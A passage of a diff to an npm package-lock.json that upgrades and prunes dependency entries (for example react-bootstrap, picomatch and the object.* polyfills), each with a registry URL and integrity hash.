"@isaacs/string-locale-compare": "^1.0.1", "@npmcli/installed-package-contents": "^1.0.7", "@npmcli/map-workspaces": "^1.0.2", "@npmcli/metavuln-calculator": "^1.1.0", @@ -9401,7 +8493,7 @@ } }, "glob": { - "version": "7.1.7", + "version": "7.2.0", "bundled": true, "dev": true, "requires": { @@ -9584,7 +8676,7 @@ } }, "is-core-module": { - "version": "2.6.0", + "version": "2.7.0", "bundled": true, "dev": true, "requires": { @@ -10437,7 +9529,7 @@ } }, "socks-proxy-agent": { - "version": "6.0.0", + "version": "6.1.0", "bundled": true, "dev": true, "requires": { @@ -10756,46 +9848,18 @@ "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" }, - "object-copy": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz", - "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=", - "dev": true, - "optional": true, - "requires": { - "copy-descriptor": "^0.1.0", - "define-property": "^0.2.5", - "kind-of": "^3.0.3" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "optional": true, - "requires": { - "is-descriptor": "^0.1.0" - } - }, - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, "object-hash": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-2.0.3.tgz", "integrity": "sha512-JPKn0GMu+Fa3zt3Bmr66JhokJU5BaNBIh4ZeTlaCBzrBsOeXzwcKKAK1tbLiPKgvwmPXsDvvLHoWh5Bm7ofIYg==", "dev": true }, + "object-inspect": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.11.0.tgz", + "integrity": "sha512-jp7ikS6Sd3GxQfZJPyH3cjcbJF6GZPClgdV+EFygjFLQ5FmW/dRUnTd9PQ9k0JhoNDabWFbpF1yCdSWCC6gexg==", + "dev": true + }, "object-is": { "version": "1.1.5", "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.5.tgz", @@ -10812,330 +9876,59 @@ "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", "dev": true }, - "object-visit": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz", - "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=", - "dev": true, - "optional": true, - "requires": { - "isobject": "^3.0.0" - } - }, "object.assign": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz", - "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", - "dev": true, - "requires": { - "define-properties": "^1.1.2", - "function-bind": "^1.1.1", - "has-symbols": "^1.0.0", - "object-keys": "^1.0.11" - } - }, - "object.entries": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.3.tgz", - "integrity": "sha512-ym7h7OZebNS96hn5IJeyUmaWhaSM4SVtAPPfNLQEI2MYWCO2egsITb9nab2+i/Pwibx+R0mtn+ltKJXRSeTMGg==", + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", "dev": true, "requires": { "call-bind": "^1.0.0", "define-properties": "^1.1.3", - "es-abstract": "^1.18.0-next.1", - "has": "^1.0.3" - }, - "dependencies": { - "es-abstract": { - "version": "1.18.0", - "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", - "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "es-to-primitive": "^1.2.1", - "function-bind": "^1.1.1", - "get-intrinsic": "^1.1.1", - "has": "^1.0.3", - "has-symbols": "^1.0.2", - "is-callable": "^1.2.3", - "is-negative-zero": "^2.0.1", - "is-regex": "^1.1.2", - "is-string": "^1.0.5", - "object-inspect": "^1.9.0", - "object-keys": "^1.1.1", - "object.assign": "^4.1.2", - "string.prototype.trimend": "^1.0.4", - "string.prototype.trimstart": "^1.0.4", - "unbox-primitive": "^1.0.0" - } - }, - "has-symbols": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", - "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", - "dev": true - }, - "is-callable": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", - "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", - "dev": true - }, - "is-regex": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", - "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "has-symbols": "^1.0.1" - } - }, - "object-inspect": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", - "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", - "dev": true - }, - "object.assign": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", - "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", - "dev": true, - "requires": { - "call-bind": "^1.0.0", - "define-properties": "^1.1.3", - "has-symbols": "^1.0.1", - "object-keys": "^1.1.1" - } - }, - "string.prototype.trimend": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", - "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" - } - }, - "string.prototype.trimstart": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", - "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" - } - } + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + }, + "object.entries": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.5.tgz", + "integrity": "sha512-TyxmjUoZggd4OrrU1W66FMDG6CuqJxsFvymeyXI51+vQLN67zYfZseptRge703kKQdo4uccgAKebXFcRCzk4+g==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1" } }, "object.fromentries": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.4.tgz", - "integrity": "sha512-EsFBshs5RUUpQEY1D4q/m59kMfz4YJvxuNCJcv/jWwOJr34EaVnG11ZrZa0UHB3wnzV1wx8m58T4hQL8IuNXlQ==", + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.5.tgz", + "integrity": "sha512-CAyG5mWQRRiBU57Re4FKoTBjXfDoNwdFVH2Y1tS9PqCsfUTymAohOkEMSG3aRNKmv4lV3O7p1et7c187q6bynw==", "dev": true, "requires": { "call-bind": "^1.0.2", "define-properties": "^1.1.3", - "es-abstract": "^1.18.0-next.2", - "has": "^1.0.3" - }, - "dependencies": { - "es-abstract": { - "version": "1.18.0", - "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", - "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "es-to-primitive": "^1.2.1", - "function-bind": "^1.1.1", - "get-intrinsic": "^1.1.1", - "has": "^1.0.3", - "has-symbols": "^1.0.2", - "is-callable": "^1.2.3", - "is-negative-zero": "^2.0.1", - "is-regex": "^1.1.2", - "is-string": "^1.0.5", - "object-inspect": "^1.9.0", - "object-keys": "^1.1.1", - "object.assign": "^4.1.2", - "string.prototype.trimend": "^1.0.4", - "string.prototype.trimstart": "^1.0.4", - "unbox-primitive": "^1.0.0" - } - }, - "has-symbols": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", - "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", - "dev": true - }, - "is-callable": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", - "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", - "dev": true - }, - "is-regex": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", - "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "has-symbols": "^1.0.1" - } - }, - "object-inspect": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", - "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", - "dev": true - }, - "object.assign": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", - "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", - "dev": true, - "requires": { - "call-bind": "^1.0.0", - "define-properties": "^1.1.3", - "has-symbols": "^1.0.1", - "object-keys": "^1.1.1" - } - }, - "string.prototype.trimend": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", - "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" - } - }, - "string.prototype.trimstart": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", - "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" - } - } + "es-abstract": "^1.19.1" } }, - "object.pick": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz", - "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", + "object.hasown": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.0.tgz", + "integrity": "sha512-MhjYRfj3GBlhSkDHo6QmvgjRLXQ2zndabdf3nX0yTyZK9rPfxb6uRpAac8HXNLy1GpqWtZ81Qh4v3uOls2sRAg==", "dev": true, - "optional": true, "requires": { - "isobject": "^3.0.1" + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1" } }, "object.values": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.3.tgz", - "integrity": "sha512-nkF6PfDB9alkOUxpf1HNm/QlkeW3SReqL5WXeBLpEJJnlPSvRaDQpW3gQTksTN3fgJX4hL42RzKyOin6ff3tyw==", + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.5.tgz", + "integrity": "sha512-QUZRW0ilQ3PnPpbNtgdNV1PDbEqLIiSFB3l+EnGtBQ/8SUTLj1PZwtQHABZtLgwpJZTSZhuGLOGk57Drx2IvYg==", "dev": true, "requires": { "call-bind": "^1.0.2", "define-properties": "^1.1.3", - "es-abstract": "^1.18.0-next.2", - "has": "^1.0.3" - }, - "dependencies": { - "es-abstract": { - "version": "1.18.0", - "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", - "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "es-to-primitive": "^1.2.1", - "function-bind": "^1.1.1", - "get-intrinsic": "^1.1.1", - "has": "^1.0.3", - "has-symbols": "^1.0.2", - "is-callable": "^1.2.3", - "is-negative-zero": "^2.0.1", - "is-regex": "^1.1.2", - "is-string": "^1.0.5", - "object-inspect": "^1.9.0", - "object-keys": "^1.1.1", - "object.assign": "^4.1.2", - "string.prototype.trimend": "^1.0.4", - "string.prototype.trimstart": "^1.0.4", - "unbox-primitive": "^1.0.0" - } - }, - "has-symbols": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", - "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", - "dev": true - }, - "is-callable": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", - "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", - "dev": true - }, - "is-regex": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", - "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "has-symbols": "^1.0.1" - } - }, - "object-inspect": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", - "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", - "dev": true - }, - "object.assign": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", - "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", - "dev": true, - "requires": { - "call-bind": "^1.0.0", - "define-properties": "^1.1.3", - "has-symbols": "^1.0.1", - "object-keys": "^1.1.1" - } - }, - "string.prototype.trimend": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", - "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" - } - }, - "string.prototype.trimstart": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", - "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" - } - } + "es-abstract": "^1.19.1" } }, "obuf": { @@ -11178,9 +9971,9 @@ } }, "open": { - "version": "8.2.1", - "resolved": "https://registry.npmjs.org/open/-/open-8.2.1.tgz", - "integrity": "sha512-rXILpcQlkF/QuFez2BJDf3GsqpjGKbkUUToAIGo9A0Q6ZkoSGogZJulrUdwRkrAsoQvoZsrjCYt8+zblOk7JQQ==", + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/open/-/open-8.3.0.tgz", + "integrity": "sha512-7INcPWb1UcOwSQxAXTnBJ+FxVV4MPs/X++FWWBtgY69/J5lc+tCteMt/oFK1MnkyHC4VILLa9ntmwKTwDR4Q9w==", "dev": true, "requires": { "define-lazy-prop": "^2.0.0", @@ -11232,6 +10025,15 @@ "p-try": "^2.0.0" } }, + "p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "requires": { + "p-limit": "^2.2.0" + } + }, "p-map": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", @@ -11351,12 +10153,11 @@ } } }, - "pascalcase": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz", - "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=", - "dev": true, - "optional": true + "path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true }, "path-is-absolute": { "version": "1.0.1", @@ -11395,16 +10196,16 @@ "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==" }, - "pathseg": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/pathseg/-/pathseg-1.2.0.tgz", - "integrity": "sha512-+pQS7lTaoVIXhaCW7R3Wd/165APzZHWzYVqe7dxzdupxQwebgpBaCmf0/XZwmoA/rkDq3qvzO0qv4d5oFVrBRw==", - "optional": true + "picocolors": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz", + "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==", + "dev": true }, "picomatch": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.3.tgz", - "integrity": "sha512-KpELjfwcCDUb9PeigTs2mBJzXUPzAuP2oPcA989He8Rte0+YUAjw1JVedDhuTKPkHjSYzMN3npC9luThGYEKdg==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.0.tgz", + "integrity": "sha512-lY1Q/PiJGC2zOv/z391WOTD+Z02bCgsFfvxoXXf6h7kv9o+WmsmzYqrAwY63sNgOxE4xEdq0WyUnXfKeBrSvYw==", "dev": true }, "pify": { @@ -11413,6 +10214,15 @@ "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", "dev": true }, + "pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "requires": { + "find-up": "^4.0.0" + } + }, "pluralize": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", @@ -11437,22 +10247,9 @@ "requires": { "ms": "^2.1.1" } - }, - "ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "dev": true } } }, - "posix-character-classes": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz", - "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=", - "dev": true, - "optional": true - }, "postcss": { "version": "7.0.36", "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.36.tgz", @@ -11759,6 +10556,12 @@ "resolved": "https://registry.npmjs.org/pure-color/-/pure-color-1.3.0.tgz", "integrity": "sha1-H+Bk+wrIUfDeYTIKi/eWg2Qi8z4=" }, + "qs": { + "version": "6.7.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", + "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==", + "dev": true + }, "querystring": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz", @@ -11771,6 +10574,12 @@ "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", "dev": true }, + "quick-lru": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz", + "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==", + "dev": true + }, "rainge": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/rainge/-/rainge-1.0.1.tgz", @@ -11848,44 +10657,33 @@ } }, "react-bootstrap": { - "version": "1.5.2", - "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-1.5.2.tgz", - "integrity": "sha512-mGKPY5+lLd7Vtkx2VFivoRkPT4xAHazuFfIhJLTEgHlDfIUSePn7qrmpZe5gXH9zvHV0RsBaQ9cLfXjxnZrOpA==", + "version": "1.6.4", + "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-1.6.4.tgz", + "integrity": "sha512-z3BhBD4bEZuLP8VrYqAD7OT7axdcSkkyvWBWnS2U/4MhyabUihrUyucPWkan7aMI1XIHbmH4LCpEtzWGfx/yfA==", "requires": { - "@babel/runtime": "^7.13.8", + "@babel/runtime": "^7.14.0", "@restart/context": "^2.1.4", "@restart/hooks": "^0.3.26", - "@types/classnames": "^2.2.10", "@types/invariant": "^2.2.33", "@types/prop-types": "^15.7.3", - "@types/react": ">=16.9.35", + "@types/react": ">=16.14.8", "@types/react-transition-group": "^4.4.1", "@types/warning": "^3.0.0", - "classnames": "^2.2.6", - "dom-helpers": "^5.1.2", + "classnames": "^2.3.1", + "dom-helpers": "^5.2.1", "invariant": "^2.2.4", "prop-types": "^15.7.2", "prop-types-extra": "^1.1.0", - "react-overlays": "^5.0.0", + "react-overlays": "^5.1.1", "react-transition-group": "^4.4.1", "uncontrollable": "^7.2.1", "warning": "^4.0.3" - }, - "dependencies": { - "@babel/runtime": { - "version": "7.13.10", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz", - "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==", - "requires": { - "regenerator-runtime": "^0.13.4" - } - } } }, "react-copy-to-clipboard": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.2.tgz", - "integrity": "sha512-/2t5mLMMPuN5GmdXo6TebFa8IoFxZ+KTDDqYhcDm0PhkgEzSxVvIX26G20s1EB02A4h2UZgwtfymZ3lGJm0OLg==", + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.4.tgz", + "integrity": "sha512-IeVAiNVKjSPeGax/Gmkqfa/+PuMTBhutEvFUaMQLwE2tS0EXrAdgOpWDX26bWTXF3HrioorR7lr08NqeYUWQCQ==", "requires": { "copy-to-clipboard": "^3", "prop-types": "^15.5.8" @@ -11950,21 +10748,15 @@ "integrity": "sha512-6Szyi3zY4AEiSlE5rztJov/xIDB107Sv31MctDoSutdLinMqmbMej6kJ2MtSGzAhsP2+h8cDDr51mdHNXt97Yw==" }, "react-graph-vis": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.5.tgz", - "integrity": "sha512-y7+eHcwj7GryRoY+ZawwsDmS8OMeJ8Gpzmzejqwz+T2qg6IYTk1bod42H5g3J2zzHcPaqAZpwxZG3d3YB4nBwQ==", + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.7.tgz", + "integrity": "sha512-FI35zlBMKU22JEvG1ukd1DDwW185y4YrDvHm6Bom9EGdA+UNMrZrIV/lyPIRWPcRkzbKaA1w1NvOYcRApD4KdQ==", "requires": { "lodash": "^4.17.15", "prop-types": "^15.5.10", "uuid": "^2.0.1", - "vis-network": "^5.1.1" - }, - "dependencies": { - "uuid": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-2.0.3.tgz", - "integrity": "sha1-Z+LoY3lyFVMN/zGOW/nc6/1Hsho=" - } + "vis-data": "^7.1.2", + "vis-network": "^9.0.0" } }, "react-hot-loader": { @@ -12035,37 +10827,26 @@ "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==" }, "react-overlays": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-5.0.0.tgz", - "integrity": "sha512-TKbqfAv23TFtCJ2lzISdx76p97G/DP8Rp4TOFdqM9n8GTruVYgE3jX7Zgb8+w7YJ18slTVcDTQ1/tFzdCqjVhA==", + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-5.1.1.tgz", + "integrity": "sha512-eCN2s2/+GVZzpnId4XVWtvDPYYBD2EtOGP74hE+8yDskPzFy9+pV1H3ZZihxuRdEbQzzacySaaDkR7xE0ydl4Q==", "requires": { - "@babel/runtime": "^7.12.1", - "@popperjs/core": "^2.5.3", - "@restart/hooks": "^0.3.25", + "@babel/runtime": "^7.13.8", + "@popperjs/core": "^2.8.6", + "@restart/hooks": "^0.3.26", "@types/warning": "^3.0.0", "dom-helpers": "^5.2.0", "prop-types": "^15.7.2", - "uncontrollable": "^7.0.0", + "uncontrollable": "^7.2.1", "warning": "^4.0.3" - }, - "dependencies": { - "@babel/runtime": { - "version": "7.13.10", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz", - "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==", - "requires": { - "regenerator-runtime": "^0.13.4" - } - } } }, "react-particles-js": { - "version": "3.4.1", - "resolved": "https://registry.npmjs.org/react-particles-js/-/react-particles-js-3.4.1.tgz", - "integrity": "sha512-c3+vITUMN9RlgbERZYd9Kzvjmf49ENp07+9+NDLvE1Jf9euabrJi/q6gCCcv5foxGHBYjHnGs47Tusmrl0/+GQ==", + "version": "3.5.3", + "resolved": 